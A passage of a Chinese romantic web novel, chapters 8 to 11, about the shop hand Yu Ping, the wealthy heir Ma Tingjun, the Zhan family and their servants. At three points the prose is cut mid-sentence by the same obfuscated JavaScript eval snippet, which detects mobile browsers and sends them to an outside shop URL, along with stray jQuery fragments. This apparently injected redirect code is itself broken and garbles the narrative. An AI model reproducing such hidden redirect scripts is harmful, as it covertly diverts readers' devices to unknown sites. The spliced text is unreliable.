说着再往前靠。俞平怕他方才不尽兴,不敢轻举妄动,麻霆君却只在他眉心弹了一指,闷闷笑两声,道:“我看你挺好玩的,本来还觉得你有点讨厌。” 见事态化解,何氏总算上前道:“五少爷,他初来乍到,还不懂规矩。你别和他计较了,消消气。” 麻霆君道:“没生气。算了,今天就这样。” 言罢,他留下多么潇洒一个背影落在布店——俞平少有气得七窍生烟的时刻,细想是自己太工于心计,交手时落下风,寻根究底起来,倒还数自己没使出劲。又是愤懑不平:在布店生活时日,勉强遮风避雨,真是吃不饱穿不暖,但凡倒退一个月,谁会怕谁! 那边五爷旗开得胜,凯旋而归,胖子瘦子脸上神采奕奕,阿吉便在门口探头探脑,请示道:“五爷,我们还砸吗?” 麻霆君道:“算了。” 这人来时多么豪言壮志,扬言不守信用难成大事,必然要在布店好好教训一通。不知道方才发生了什么,一副被哄骗得心满意足的模样。 阿吉难堪道:“兄弟们都来了。” 被他这么一说,眼见他们五爷也要难堪了,一胖一瘦定不会给他们五爷这个机会: “你怎么敢质疑我们五爷的决策。” “你怎么敢否定我们五爷的想法。” 阿吉尴尬退在一旁。 “还是砸吧,来都来了。” 齿痕留在胳膊上,痛楚也尚未消散。麻霆君甩了甩手,回头望一眼,才轻松道,“哎呀,意思意思。” 8. 帮凶 轿车引擎声扬长而去,阿吉带着另外三个伙计闯进了布店。店面布局讲究实用,哪是给人作广场散步的,新挤了一群人,竟然不知道从何下手。 砸店这等苦差事,阿吉不想独占鳌头,再者也实在没有经验——麻霆君在鹭镇的口碑出了名的好,平日行善积德惯了,哪做如此勾当?说是砸店,必然是被罚了一天一夜的气话;旁人讲气话牵扯祖宗十八代,他只是砸了布店,未免不是个善人。 然而阿吉再说服得了自己,好歹是领头,犹豫一阵,刚抱起一盆绿萝,立刻被兰香咬了一口。 他惊叫一声,道:“大小姐,你堂堂布店二小姐,怎么学那狐狸精乱咬人?” 兰香道:“不准砸布店!” 阿吉疼得龇牙咧嘴,尽力温和地道:“五爷都说了,我们就是来‘意思意思’的。” 兰香搬出俞平挡在身前,道:“你们的意思和我们的意思,不是一码事。” 阿吉苦苦道:“大小姐,你又不是不知道麻家多少规矩。他要是敢横行霸道,轮不着你们动手,老爷早把他掐灭了。” 兰香道:“这听着还是我们的问题了?” “你们也有问题,原本服个软的事情,怪俞平,偏偏要和他打架。不过打架真有可能真是好的,兴许五爷就吃这套——唉,我不提了。”阿吉咳了咳,佯装无事发生,道,“我们几个没吃饭也没睡觉,真是要砸店,也没这个力气!” 兰香扮鬼脸,把俞平往前推了推。 阿吉又道:“况且,本就是兰竹哥不守信用在先……” 俞平冷笑道:“你们五爷自己心怀鬼胎,阴沟里翻船不奇怪。” 貌似是难言之隐被他戳破了,阿吉叹气道:“你可别再说了,他已经受了很多年的报应啦!” 兰香惊奇道:“他还受报应?他不是个好人吗?” 阿吉道:“我没和你讲过?” 兰香摇头。阿吉当着众人之面,不好开口,只含蓄道:“五爷生活多简单,拢共这么点事,猜也猜得到。” 詹老板来和稀泥,道:“阿吉小兄弟,请五少爷放心,确实是兰竹不对。我们一定不会逃避问题。就是布店的情况,大家都清楚,我们暂时拿不出这么多钱。要请麻少爷多等一段时间了。” 阿吉摇头道:“詹叔,你知道我们五爷是好人。这回纯粹是牵扯到谈家,老爷担心他,便是爱之深责之切,罚得他太重了些。他方才在气头上,说得不作数的。” 又道:“不如等晚上他休息好了,再来我们公馆,和他心平气和地商量。” 何氏道:“他正血气方刚,麻老爷又严苛,叫他一时火气上头,再正常不过了。” “是了,谢谢何姨,谢谢詹叔,我们大家都相互理解。” 阿吉道,“兰竹哥还好吗?” 詹老板失落道:“茶山那里说他早走了,其余没有消息。” 阿吉安慰道:“兰竹哥也是好人,五爷一直和他很投缘。说是近期就派人去找他,你们也不用担心了。” 何氏从天井出来,抱着一盆热气腾腾的菜饭,道:“几位小兄弟都饿着,凑合吃几口再说话。” 先前兰香匆匆赶回家,失了食欲,被母亲一说好像也跟着饿起来,便拉俞平做垫背,跟着他们一起蹭了碗。阿吉盛过饭,把自己碗里的香肠挑出来分给兰香,还往俞平碗里夹了几块。 俞平不解地看向他。他尴尬地转了圈眼珠子,道:“五爷走的时候悄悄说,你一点力气也没有。我才特地叫你多吃一点。” 又胆怯道:“否则店没砸,你没力气,两样事务都做不好,我们难交差。” 兰香道:“你们还想砸?” “不想,不想。” 几个人狼吞虎咽吃了一通,碗碟洁净如新。 阿吉拍拍肚皮,满足道:“白吃你们一顿饭,好像不太好意思。” 兰香双臂抱胸道:“不好意思就快滚!” “大小姐,说了我们不是坏人,怎么还这么凶?” 阿吉起身,抄起墙角笤帚,道,“兰竹哥不在,俞平没力气,看你们家没壮丁,我们刚好助你们四臂之力。” 其余几个伙计也抄了清扫工具,眨眼间布店洁净一新。唯独俞平与麻霆君的战场,实木柜台一角缺了点漆。阿吉十分心虚地用绿萝垂下的枝叶挡住了,道:“我们看了一圈,好像就货架上的防尘罩脏了一点,这个你们自己洗。” 又环顾一圈,道:“还有什么损坏的东西?我们公馆下午派人去百货公司采购,我晚上就能给你们送到门口。” 俞平道:“坏了我的心情,赔两千大洋。” 阿吉嘿嘿笑道:“你自己去和我们五爷说。他要是付给你,我们也没话讲。” 手上事务处理完毕,几个伙计排着队伍出去。 阿吉在最后,临行前告别道,“再会,大小姐!” 兰香追出门外,道:“谁跟你再会,快滚到天边去!” 阿吉当真头也不回。一众街坊邻居频频朝里面偷窥。兰香气不过,指着他们道:“看什么看!” 回来的兰香依然怒气冲冲。 “我不嫁老头,我也不要麻子马粪,麻霆君更加喜欢不来!”兰香与爹娘一表决心,道,“我是新式青年,要自由恋爱!” 谁问她了?也没人问过她。不过相较于婚事,詹老板更加关心她的学业,道:“兰香还去不去上学?” 兰香咬着手指,退缩在何氏身后。 詹老板道:“不去拉倒。” 兰香伶俐道:“真的?不是气话?” 詹老板睨来一眼,兰香三步并作两步上了楼,不久后卧室门都锁上了。 “两千大洋不是小数目,我想办法凑点钱,晚上先去麻公馆赔罪。好好和他讲一讲,看看能不能再周旋,多分几个月偿还。” 詹老板叫住正要去洗防尘罩的俞平, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060947|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“俞平一起去吧,五少爷好像和你挺投缘。” 俞平自然是一万个不愿意,道:“他真打我!” 詹老板笑道:“男孩子,打一架就成朋友啦。” 俞平道:“我可不想有这种朋友。” “要真是打架,也是你挑衅在先。谁都有一时兴起的时候。晚上去麻公馆,我好好帮你理论,他肯定会向你道歉的。” 詹老板顿了顿,道,“麻霆君是个好孩子。” 话音刚落,门口摇摇晃晃进来一位胖身影。 胖子喜气洋洋道:“聊什么呢?我也想参与。” 詹老板目瞪口呆道:“你们有完没完?” “詹老板说的什么话?” 胖子被他说了一通,眉开眼笑半分不减,想来他的目的必然不在于此了。门外围观的居民们被兰香赶走后,又三三两两地聚了回来。胖子干脆关上大门,翻了歇业的牌子。 “昨天老爷打我家五爷,不知道打断了多少戒尺,我们五爷咬牙忍着,一声不吭。” 胖子诉苦道,“詹老板,你是没见到,五爷这般惨样,不知道的以为犯下多么滔天的罪孽!谁知道只是想做生意。” 末了哀叹一声:“五爷这么好的青年,年方二一,仪表堂堂,待字闺中,洁身自好。他积极上进也要被责罚,你说我们心不心疼!” 詹老板讪讪恭维道:“麻老爷一向教子有方。” 胖子又道:“五爷真是要把布店铲平,才带我们一起来的。但他最后没有这么做。你们知道是为什么?” 詹老板闭口不答。至此胖子大功告成,满脸深沉道:“把你们俞平叫出来,我告诉他。” 詹老板回避道:“俞平在洗防尘罩。” “你们还不知道俞平什么底细?”胖子自知这话见不得人,小声道,“俞平以前兴许比我们五爷还锦衣玉食,被那富家公子含在嘴里都怕化了,怎么可能会洗防尘罩?我帮你们搓两把得了,快叫他出来。” 俞平方才从天井被詹老板提来店里,手上水珠来不及甩,只往衣摆上蹭了蹭。 胖子见到他,更是开心,道:“听说你在布店每天勤勤恳恳,也不娇气,我们都很感动。” 俞平向后退缩道:“谢谢?” “五爷已经睡下了,临睡前,他就嘱咐了一句话,请我们务必要带到。” 胖子邪魅一笑,道,“他请你别生他的气。” 俞平遭胖子猥琐表情震撼,干笑两声,道:“他纯粹是脑子不正常,我不和他一般见识。” “嗳,小白狐狸,话也不能这么讲。”胖子上前拍拍俞平的肩膀,喜悦道,“我们五爷在家里经常念叨你!” 俞平道:“说我像狐狸精,要找人把我驱走?” 胖子却向他眨眨眼睛: “眼睛。他夸你的眼睛真是漂亮。” 胖子最后是哼着小曲离开的。他离开许久后布店才开张。 9. 福祸 中午布店已然一切照旧。不断有老主顾上门,拉着何氏的手话起家常。 兰香说是在家自主温习功课,到头来好好睡了一上午。下午才重整旗鼓,换一套浅蓝色棉布洋裙,跑下来扒几口剩饭,道:“俞平,和我去滩涂。” 俞平正收拾碗筷:“想不开?” “什么想不开!我也要去找谈四!” 事情一码归一码:就当詹兰竹真有隐情,违约总是板上钉钉,于情于理都说不过去。兰香也想为家里摊一份力,便要反将麻霆君一军,找出寻人启事里的谈四少爷。 俞平泼冷水道:“你自己说的,谈四早死了。” 兰香嘴上说得不客气,心里属实没底,可惜家里事情一出,纵是死马也要当活医了,嚷道:“不可能的!我有本事把谈四复活!” 说罢抹了嘴,拉俞平冲出布店。 据早前放出小道消息,谈四最后一次行迹是在广东转船,所以海难的可能性不小。鹭镇唯一靠海优势的便是滩涂,不等谈家放出四少爷回来的确切消息,麻霆君不肯善罢甘休,日日夜夜派出家丁巡逻。 今天正巧轮到阿吉与瘦子第二。 兰香和俞平往深处走,阿吉先认出来他们,远远便道:“大小姐,俞平!我们今天馒头带的多,要不要来尝尝?” 俞平退到兰香身后,诉苦道:“我这辈子没吃过这么难吃的馒头。” “不吃白不吃。”兰香却迎了上去。 不知是布店清淡饮食更加粗糙,亦或麻公馆的馒头本该如此,俞平鼓起勇气咬一口,居然觉得这馒头松软可口,唇齿间麦香阵阵。 几个苦命人的距离迅速被拉近了,坐在一圈休息。 兰香试探问道:“麻老爷真的饶不了五爷?” 这可大有所谈。阿吉应当是刚刚顶班,早上多少补了一觉,活人的气息浓郁多了,一开口,话匣子便再也关不住: “大小姐,出了这种事,其实还算好的,老爷惩罚过他一次就算了结,毕竟实在不值一提;我们五爷还有叫他爹更头疼的事情,我看是根本没有办法了结。” 好像这事知道了必然会惨遭灭口,阿吉说得格外云里雾里。 兰香无奈抵不住好奇,套话道:“五爷长得这么俊,家里还有钱,也不出去花天酒地。照理说,老爷没什么可以担忧他的。” 阿吉道:“老爷的意思是:他还不如去枢城夜夜笙歌!” 兰香邪笑道:“我知道你早上来我家就一定有许多话要讲,现在一定憋坏了。阿吉,别忘了,我们从小是一起长大的,都是手心手背,一家人。” 俞平也添几分精神,侧了侧身,把耳朵献在前面。 瘦子第二道:“虽说没有特别见不得人,但你们必须保密。” 兰香道:“放心。” 阿吉长叹一声,才哀嚎道:“我们五爷讨不到老婆啊!” ——去年清明祭祖。已经娶来五房姨太太的麻乌金,使得老爷刮目相待,不禁对祖先的排位称赞起他宝贵的大儿子:“这小子大有出息。” 麻乌金的年少有为,叫苦难莫名其妙落到了他弟弟的头上。商场上节节高升的麻霆君,依旧难以逃脱愧对他们列祖列宗的头衔。 “霆君,我太奶奶托梦问你的婚事。那时我无地自容。” 老爷的脸色难看极了,“孽子不打不成器,该罚!” 麻霆君忽然奋起道:“太太奶奶也给我托梦,说我家这一代一共能娶五房姨太。大哥已经娶过五房,没有多余的留给我啦。” ……老爷的巴掌,头一回落在麻乌金的脸上。 今年麻霆君的情况依然不容乐观,毕竟有时间都在忙生意:去年年末,宣称要接手枢城一家民办银行,做光荣的银行行长,据说也是谈家的资产。如今把茶叶卖去谈家的壮志,在老爷的责问重缓缓浮出了水面。 他在镇上口碑太好,风言风语难得泼他一次污水:麻霆君必然别有用心,别看平时安分守己,心里实则贪图富贵,不择手段,巴不得给谈家做上门女婿。 幸而谈家这一代四个孩子里,足足有三个少爷,唯一一位大小姐还是寡妇。麻霆君再是要入赘,也不知道可以花落谁家,最终不了了之。 偶尔老爷会显得不屑:“他赚钱有什么用,都拿来给他大哥讨老婆了。” 然而新年的第一房姨太太,由老爷娶进家门。 讲到这里,瘦子第二感叹道:“我们老爷一定是皇帝投胎,赚了钱光顾着纳姨太太。” 老爷的七个孩子里,男丁只有大少爷麻乌金和五少爷麻霆君,其余都是小姐。小姐长大后纷纷嫁出鹭镇,麻家理应人丁兴旺,照旧冷冷清清。老爷说是老骥伏枥,还想要儿子,然后只多了八小姐和九小姐。 阿吉道:“我家大爷婚姻美满,叫老爷抱上了孙子。可惜五爷别说孩子了,他连个关系密切的女朋友都没有,成天和我们这群男的混在一起。” 俞平冷不丁道:“他喜欢男人?” 瘦子第二骇然道:“我宁可相信天塌下来,也不信他会喜欢那群男人!” “是。”阿吉道,“喜欢的前提好歹是般配。论家产,没人比得过麻家;论相貌,我们五爷一骑绝尘,他们不及他十分之一……不过喜欢他的男人还真不少,都是些有贼心没贼胆的,也就敢从我们这里打探口风。” 俞平道:“有什么口风好打探的?” 阿吉顺口道:“问他是不是喜欢男人,有没有过同性恋情。” 俞平轻笑道:“哦,所以是不是,有没有?” 瘦子第二持续惊恐着,兰香也怔了怔。 “唉!喜欢他的女人也不少。” 阿吉打完岔,后背出虚汗,不敢看俞平的眼睛,干脆低头垒起石子,闷闷道,“不如你们帮着一起劝劝,叫五爷快找个女朋友。五爷要是讨的到老婆,我们都是有钱赏的。” 瘦子第二发誓道:“你们要是劝说成功,我愿意把赏钱和你们对半分。” 阿吉道:“我也愿意和你们分钱。你们劝他多娶几房,长此以往,两千大洋也赔上了。” 兰香咂嘴道:“镇上几个长得千奇百怪的都成家了,他条件这么好,怎么找不到?” 阿吉表情痛苦道:“我的大小姐,哪像你说得这么方便!” “方便得不得了,多少人想要嫁给他!”兰香语速飞快,道,“可是他从来都说没福气娶,这叫我们劝什么?” 阿吉莫名其妙道:“主要是我们三奶奶——五爷的亲娘,不喜欢他来这套。其实也不一定非姑娘不可,你说,万一来个和他情投意合的男……” 瘦子第二吓一跳,噼里啪啦地鼓掌起立,道:“看!海上多了一个人!” 俞平按兵不动。那三人电光火石间往海岸线冲去,只见海浪阵阵,又悻悻坐了回来。 瘦子第二僵硬笑道:“哎呀,我看错了。” 俞平嗤笑一声,道:“是,我差一点也看错了。” 兰香一冲动,早把方才蹊跷抛掷脑后,开口道:“我当你们天天说,‘你家五爷,洁身自好’的,还以为他很光荣,想打光棍到老呢!” “再洁身自好下去,成怪胎了!” 阿吉道,“我们喊口号归喊口号,心里多希望能够从天而降一位五少奶奶,或者从地下长出来,树里结出来,海里漂过来,成精了下山来……” 这话说完,他推倒小石头堆,应当是鼓起勇气,戳了戳俞平的膝盖,道:“俞平,你也和我们说说话。” 又仓促补充道:“一直都是我们三个谈天,不好冷落了你……你说,这馒头好不好吃,海风腥不腥?” 俞平道:“都还可以。” 阿吉道:“从天而降那码事呢?” 俞平管自己细嚼慢咽着。阿吉见他实在冷漠,打圆场道:“唉!我看你也没有福气……没有和我们五爷成兄弟的福气。” 俞平才道:“我说我愿意来麻公馆,他自己不要。” 阿吉稀奇道:“咦,他突然变得这么清高了!” 瘦子第二拍他大腿:“怎么背地里这么说我们五爷!” 阿吉双手合十,仰头道:“五爷恕罪,本人刚才说的都不算数。” 四个人便是在滩涂无所事事消磨了半天,日暮时分各自打道回府。 詹老板白天出去一阵,回来后带了六百大洋现钱,里三层外三层用布包好了,又去楼上换了最体面的衣服。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060948|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俞平早在门口等他,看着倒是有些邋遢。他慈爱地拍拍俞平的脑袋,道:“好歹是我们布店的孩子,改天也带你做身好衣裳。西服穿得惯吗?” 俞平道:“还是布衫自在。” “这是布店,不少你一身衣裳的。我想想,你喜欢什么颜色?” “老板,我的衣服够穿,不求什么式样。” 日暮之下的麻公馆,与日出时有异曲同工之妙,红门颜色暗淡不少,气势恢宏不减半分。 詹老板握铜锁叩门。居然是麻家老爷亲自开的门,两个人见面都是一惊,见麻老爷沾几分激动,詹老板先道:“我们是来赔礼道歉的。” 麻老爷立即脸色一沉,道:“我以为是你们家姑娘想清楚了,要嫁过来。” 詹老板赔笑道:“兰香配不上五爷。” 老爷又紧张道:“你家那小子……” 詹老板道:“兰竹没这么胆大妄为。” 麻老爷才松了口气,摇头道:“来只兔子来头牛,但凡想配他,我都心甘情愿。有霆君这种孩子,叫我如何再面对祖先托梦?我夜夜不敢合眼。” 麻老爷心中苦闷不是三言两语能够平息的,詹老板和俞平局促跟在他身后,进到前厅的一段路,再听老爷絮絮叨叨: “要说养儿子,还是詹老板有本事,你家兰竹我知道,从小到大都懂事。霆君这孩子有时还不错,有时真是欠揍。” 詹老板道:“老爷客气什么,兰竹说霆君是他从小到大的榜样。再说男孩子总是顽皮一些,霆君聪明,有些事情一说便通了,没必要下重手。” 他们这番客套话听得俞平呵欠不止,边走路边踢石子,险些砸了老爷的脚后跟。 老爷的苦水道不完:“养男孩子就要打。不过詹老板说的也是,还好霆君这回惹的是谈家老二,赔点礼物就过去了。要是被他摊上谈四,赔上整个鹭镇,都不够平他的怒火!我一把年纪了,想想真是后怕……” 俞平冷不丁道:“哪来的鬼话?你也不认识他。” 麻老爷在前面一时语塞,回头斥道:“你这小孩懂什么?” 俞平身上仿佛长刺,他苍老的眼珠子瞟了一眼,再也离开不了了;身子跟着一起转了过来,稀奇道:“你是谁?” 这目光实在恐怖。俞平往詹老板背后躲了躲。 老爷不管他三七二十一,仔细看了又看,朝詹老板道:“詹老弟也风流上了?” 詹老板慌忙道:“不是,老爷,这是我们家新雇的长工,叫做俞平。” 麻老爷道:“也挺风流。” 后一段路俞平几乎是贴着詹老板的后背走,无奈他比詹老板高半头,弓着身子勉强挡住。 一路上麻老爷都频频回头。来到前厅,借着灯光,终于再感叹道:“可惜了,长这么美,居然是个小男孩。” 这话说得他自己也觉得自己不对劲,笑脸是在脸上摘不掉了:“年过半百了这臭毛病也改不掉,你们找我家霆君吗?霆君一觉睡到现在,大概还没醒。” 詹老板道:“谢谢老爷操心。” 老爷唤了丫鬟招待,与他们告辞。丫鬟领他们去会客厅,沏了茶。 詹老板捏着茶杯,道:“请问这位姑娘,五爷大概什么时候才睡醒?” 丫鬟道:“我们说不准的,二位多等一等。” 詹老板道:“我们有正事找他,要劳烦你去叫他起床了。” 丫鬟面露难色,道:“五爷是新青年,和我们说他有隐私,不准任何人进他的卧室。” 又道:“他房间里还有只大狼狗,木牢牢凶,我们都害怕!你们也多体谅吧。” 俞平劝道:“老板,五爷那种体格,睡一天也不奇怪。我们明天再来。” 想必詹老板正有此意,起身拍打长衫。 然则夜往深里去,理应万籁俱寂,前院佣人们皆是火急火燎地跑来跑去,灯火通明地点起来。丫鬟正往窗边看,立刻听见有人嗓门嘹亮地通报: “颜家二爷来了——” 丫鬟匆忙挡在门口,道:“布店的,晚一点再出去!” 詹老板道:“怎么了?” 丫鬟道:“颜二爷不太正经,你们避他一会!” 10. 颜青 未见颜二爷其人,先听见他动静不小。俞平当他带了七八个佣人,随那丫鬟去窗口瞄一眼,却见到个孤零零的影子,一边走一边大喊: “霆君!霆君!” 白天里听阿吉一行说,颜二爷正是他们五爷最好的朋友——可这哪里有个做二爷的样子?枢城的二爷各个深不可测,唯独他冒冒失失的。俞平正纳罕着,丫鬟扶着门框瞧了瞧外头,回来时灰心不少,道:“保佑他能够规矩一些。” 俞平皱着眉,道:“他怎么了?” “你等一下就知道了。”丫鬟打量他几眼,苦涩笑道,“他一定会来向你问好的。” 这般云里雾里,叫俞平费解更甚。丫鬟快步走到会客厅门口,堵着通道。 ——几年前麻二小姐在枢城逛街,光天化日遭了劫匪。颜大少爷不但见义勇为,更是对她一见钟情,不久后顺理成章结了婚。西式婚礼轰动一时,在枢城也是一桩相传已久的美谈,八卦报纸上特地刊登了整整一面。 婚礼上颜二与麻五,两个二世祖一见如故。尽管有所收敛,依然闹得鸡犬不宁。 唯一不同便是:颜二爷身边莺莺燕燕不断,还都是男的;麻五爷是什么消息都没有。 麻霆君心心念念,牵线搭桥往谈家的茶叶生意,正是颜二牵线搭桥的;后来他违约,也是颜二费尽口舌周旋。然则颜二本人与他的仗义很不对等,一见他们会客厅前的丫鬟模样水灵,立刻挨了上来。 “嗳,妹妹,我这里有倭人做的绢花,订货的时候人家送的,你知道的,我用不到——你讲一声‘二爷好’,我马上给你别在辫子上。” 丫鬟笑道:“二爷好,二爷真是好。” 颜二爷当真摸出朵粉红花,往她皮筋上夹稳了;这丫鬟也是真仗义,收了买路钱,还不肯放二爷进来。二爷往哪边走,她便挡着他的路。 他原本是无所事事,这时非进来不可了,眼皮一跳,道:“里头怎么了?” 丫鬟答非所问道:“二爷,我们五爷昨晚没有合过眼,现在已经睡下了。我叫人快点把客房扫出来,二爷也早点歇息吧。” 二爷一时真上了她的套,暧昧道:“哎呀,我们霆君总算开窍了!若是我这时上去,还能抓他个现行呢。” 丫鬟出一额头冷汗,道:“是老爷知道他卖茶叶给谈家,罚了他一天一夜……不是二爷您想的这样。” 二爷笑道:“你说我在想什么?” 丫鬟羞红脸不说话。詹老板不认识颜二爷,只言片语间,猜中他是牵线搭桥的贵人,赶忙走过来,恭维道:“二爷,这批茶叶是我的儿子负责运输的……” 俞平在窗边看倒影,外头漆黑一片,点了灯也看不见头尾,盈盈浮在空中,倒是屋里更清晰。不知不觉颜二爷与詹老板一同出现,坐在沙发上。许久他才察觉自己发了呆,醒悟过来,却也不招呼二爷,微微回过头,征求那丫鬟的意见;丫鬟满脸无奈,暗暗朝他双手合十。 詹老板道:“二爷……” 二爷态度随便地打断道:“二爷名号太大,我担不起。叫我颜青就可以了。” 詹老板局促搓了搓手,终归是没有勇气叫他本名,道:“颜少爷,犬子詹兰竹受了五爷的委托前往茶山,迄今也没有消息,耽误了二位的时间。发生这种事,实在是惭愧,我们是来赔罪的。” 颜青道:“茶叶?” 詹老板应了一声。颜青又道:“给谈文翡的明前茶?” 詹老板犹豫道:“我们也不清楚,想来应该是。” 颜青抿了口茶水,倏地一笑,道:“谈文翡,谈家二爷,人家才是正儿八经的二爷,我这种不作数的。刚才听你恭维我,吓都要吓死。” 又道:“一批茶叶,没了就没了。你当他是真缺茶叶?” 诚然他说得太轻松,当是给养的宠物多添一碗饭的事。可细细究来,麻老爷为了这事,罚麻霆君这般重!詹老板惴惴不安,颜青倒真不当回事,自来熟一般搭上来,絮絮叨叨。 “老板,我年初找人算命,大师叫我清心寡欲,少上牌桌。昨天难得破戒,还没搓过瘾,一算已经亏了三千。别人都是做做样子,也就郁蕙心不客气,真的收我钱。” 闻言,詹老板不知所措,更斟酌不出词句。早前他好不容易凑出六百大洋,里三层外三层郑重包好,一路捏在怀里。对颜青而言,倒不过一张骨牌的事情。 俞平却贸然回了头,插嘴道:“郁蕙心?” “你也认识?” 郁蕙心何许人也?颜青欣喜地蹦起来,必然要去寻找另一位有缘人了。 丫鬟察出不对,“哎呀”叫一声,要把俞平往外赶。颜青身高腿长的,快她几步,捉准俞平的衣领。俞平逃不过,一时间大眼瞪大眼——颜青足足倒抽一大口冷气。 “老天爷!” 颜青不可思议,脸上发怔,喃喃道,“我在枢城二十一年,从来没有见过这般人物……我从前觉得谈文翡是世界上模样顶美的人物,虽然他很狠毒,没想到更有甚者。” 俞平不敢轻举妄动,求助丫鬟的眼色。丫鬟也拿他没办法,哀哀地摇起头。 少顷,颜青换个人似的,毕恭毕敬,弯腰行绅士礼,声音都悦耳几分:“我大名颜青,熟悉的人都叫我阿青。我是霆君姐夫的弟弟,家住枢城江东滨江区,做些小本生意,钱倒是从来不愁,封建更是从来不讲——别看我浪荡,我也不是个游手好闲的草包,自己有一番事业。” 又朝俞平谄媚道:“刚才听见了么,车子?停在门口的便是。你是哪里的弟弟,我怎么从来没见过你?” 俞平不敢应答,很不体面地躲在詹老板身后。 詹老板干笑道:“颜少爷,他是我家的长工。” 颜青道:“老板,他几岁了,名字是什么?” 丫鬟打岔道:“二爷,他是来找五爷的。” “霆君是我最好的兄弟,我们合穿一条裤子嫌肥。”颜青笑道,“他既然是来找霆君的,便是来找我的。他要财,我替霆君出;他要色,我也能代劳。” 见俞平照旧藏在詹老板身后,他也往身后走。俞平不想沾了他,来一步逃一步。两人便是围着詹老板转圈,直到他返身奋起一脚,踩在俞平前面,把俞平逼得停了,才道:“你刚才说你认识蕙心,我也和她关系不错,可我怎么从来没见过你?” 丫鬟忙道:“颜少爷,他要和我去叫五爷起床呢!” 她眼珠子朝俞平瞟。颜青不满道:“麻公馆上下这么多人,你们不准;他一个外人,却要叫霆君起床……莫非,老爷是因为他才责罚的霆君?” “不是!”丫鬟慌忙道,“五爷房间里有大狼狗,就他不害怕!” 颜青自然不信她这套说辞,心中揣测一番,自有判断了。到底是珍惜麻霆君这个兄弟,便依依不舍看俞平一眼,笑道:“别太腻歪了,快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060949|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点下来。” 丫鬟夺了俞平的手腕,与他一起朝里头飞奔着。上到二楼时候,丫鬟跑不动,倒在扶手旁,喘气道:“你还好吧?” 俞平也有些体力不支,道:“谢谢你,实在是谢谢你!没有你了,我真不知道要怎么办!” 丫鬟虚弱笑道:“你初来乍到,还不熟悉,颜二爷就是这样的!好在他不常来,这回算你倒霉,忍一忍算了。” 俞平道:“五爷怎么会有这类朋友?” “话不能怎么说,其实颜二爷人可好了,哪怕对我们这些下人也很尊敬,还经常塞零花钱给我们。但他不知道有什么病,一见到美男子就发癫!” 丫鬟更正道,“我们五爷是与他好的一面情投意合,与他癫的一面没有牵连。” 俞平嗤笑道:“说来五爷也是个美男子,颜二岂不是无药可救了?” 丫鬟惊喜道:“咦,‘五爷是个美男子’,你真的这么想?我记住你说的话了,回头一定带给胖哥。” 俞平闭了嘴。二人休息半晌,再度上路。三楼向右拐是麻霆君的卧室。 丫鬟退缩回楼梯上,道:“五爷的房间不好进的。我们在这里坐一坐,等二爷歇下了再离开。” 俞平道:“五爷金屋藏娇了?” 丫鬟着急道:“我们五爷洁身自好!真有了恋人,一定是大大方方的,怎么可能金屋藏娇?” 俞平笑道:“那他有什么见不得人的?” 丫鬟窘迫道:“隐私么……他说他有隐私。” 俞平道:“说是不知者无罪,我不懂规矩也正常。况且布店已经得罪他了,不怕罪加一等。不如你留在门口,我去叫他。” “你真伟大!”丫鬟道,“他要是怪罪下来,你一定要说我在楼梯口等他,还劝你别进去。可千万别把我出卖了!” 俞平轻松道:“放心。” 出于礼貌还是敲了门。麻霆君的门虚掩着,俞平一碰即开。 五爷的卧室必然是个小型的宫殿,里头藏满奇珍异宝。收拾得倒是整洁,俞平缩手缩脚地走,也没撞了什么。最里头睡着的德国牧羊犬,嗅出他的气息,出来迎客了。 地上一团更黑的影子滚至跟前,黑兔认识俞平,不吠一声,尾巴甩出的风声十分响亮。叼起他的裤管,向房间深处走。 俞平心里满是不屑——听丫鬟说得骇人,狗究竟有什么好怕的?给个好眼色便狠狠摇尾巴的种。究其根底,养狗的人才可怕。 这里养狗的人只有麻霆君,又是另当别论了。 时间不算晚,卧室窗帘后藏着灯火通明的花园,房间里照旧伸手不见五指。黑兔在前头不断指引,四只脚迈得步子碎,俞平怕踩到它,蹚黑暗时更加提心吊胆。 多走几步撞见一张矮桌,边上是落地灯高高的黑影,兴许是一处读书角。俞平顺手拉了绳,才看见床也在不远处。黑兔最后把他往麻霆君床边叼,见他不动,有些失落地松了嘴,蹭了一通裤脚,钻进一旁的套间。 俞平掷去一瞥,麻霆君熟睡的身形很是安详。 矮桌上另有一面镜子,俞平凑上前照了照。暖橘色灯光只染了他一半的面孔,另一半沉在黑暗里,平添几分阴郁。被海浪推至鹭镇后,周遭变得翻天覆地,却总有一些事物是一成不变的。他看得出他还是原先的自己。 镜面过于圆满。俞平心里念头难以抑制——砸碎镜子。去香岛。去枢城。 11. 旧地 “俞平!” 